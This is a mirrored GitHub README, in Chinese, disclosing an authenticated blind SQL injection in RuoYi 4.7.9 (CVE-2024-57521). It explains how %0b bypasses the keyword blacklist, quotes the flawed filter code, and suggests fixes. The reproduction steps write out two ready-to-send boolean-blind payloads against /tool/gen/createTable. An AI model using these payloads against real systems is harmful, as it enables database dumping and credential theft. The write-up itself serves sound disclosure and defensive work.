mrlihd/CVE-2024-57521-SQL-Injection-PoC

GitHub: mrlihd/CVE-2024-57521-SQL-Injection-PoC

针对RuoYi框架4.7.9版本认证SQL注入漏洞的PoC,演示通过%0b字符绕过正则过滤实现盲注利用。

Stars: 0 | Forks: 0

# RuoYi v4.7.9 中的认证 SQL 注入(CVE-2024-42900 的绕过) ## 简介 我在 RuoYi Framework v4.7.9 的 `createTable` 功能中发现了一个盲注 SQL 注入漏洞。这允许经过认证的管理员通过 `sql` 参数执行任意 SQL 命令。这是对 CVE-2024-42900 修复的绕过,因为 `filterKeyword` 方法中的 SQL 注入过滤器不足,可以通过使用 `%0b` 作为空格的替代字符来绕过正则表达式。 ## 受影响版本 产品:RuoYi Framework 版本:≤ 4.7.9 链接:[[Ruoyi]](https://github.com/yangzongzhuan/RuoYi) ## 漏洞分析 该漏洞位于 `https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java` 文件中,如下所示。应用程序依赖黑名单关键字来过滤 SQL 注入攻击,这种方法容易被绕过。在这种情况下,为了修复 CVE-2024-42900,黑名单中添加了 `/*` 字符串,但应用程序仍然没有阻止 `%0b` 字符,因此我可以使用 `select%0b` 触发 SQL 注入。 ``` public class SqlUtil { /** * 定义常用的 sql关键字 */ public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()"; // Note the space after 'select ' public static void filterKeyword(String value) { if (StringUtils.isEmpty(value)) { return; } String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|"); for (String sqlKeyword : sqlKeywords) { if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1) { throw new UtilException("参数存在SQL注入风险"); } } } } ``` 正则表达式 select 匹配 `select `(后跟一个空格)。它无法匹配 `select%0b`,而这是 SQL 中有效的分隔符。 ## 布尔 SQL 注入复现步骤 1. 以 admin 身份登录 2. 发送 createTable 请求(易受攻击的端点 `/tool/gen/createTable`) a. 注入一个 TRUE 查询: ![true-query](https://github.com/user-attachments/assets/56d95c1b-409e-4bdc-8247-beabb2dadeae) sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b b. 注入一个 FALSE 查询: ![false-query](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/2d3b43ad82184459.png) sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b **注意**:每次成功查询后需要在 CREATE 查询中更改表名。 3. 利用布尔型 SQL 注入,可以使用本仓库中的 Python [[poc]](https://github.com/mrlihd/Ruoyi-4.7.9-SQL-Injection-PoC/blob/main/ruoyi-sqli-poc.py) 窃取数据 **用法** poc-usage **窃取数据库版本 PoC** poc-db-version ## 影响 拥有管理员权限的攻击者可以转储整个数据库,包括其他用户的凭据和系统配置。 ## 建议 1. 过滤 `%0b` 字符。 2. 过滤关键字 `select` 而不是 `select `(移除末尾空格) 3. 将 CMS 更新到 Ruoyi CMS 的 4.8.0 版本
标签:CISA项目, CVE-2024-42900, GHAS, Java安全, JS文件枚举, PNNL实验室, RuoYi, SQL过滤, WAF绕过, Web安全, 安全漏洞, 正则绕过, 漏洞复现, 演示模式, 白盒测试, 盲注, 若依框架, 蓝队分析, 输入验证绕过, 逆向工具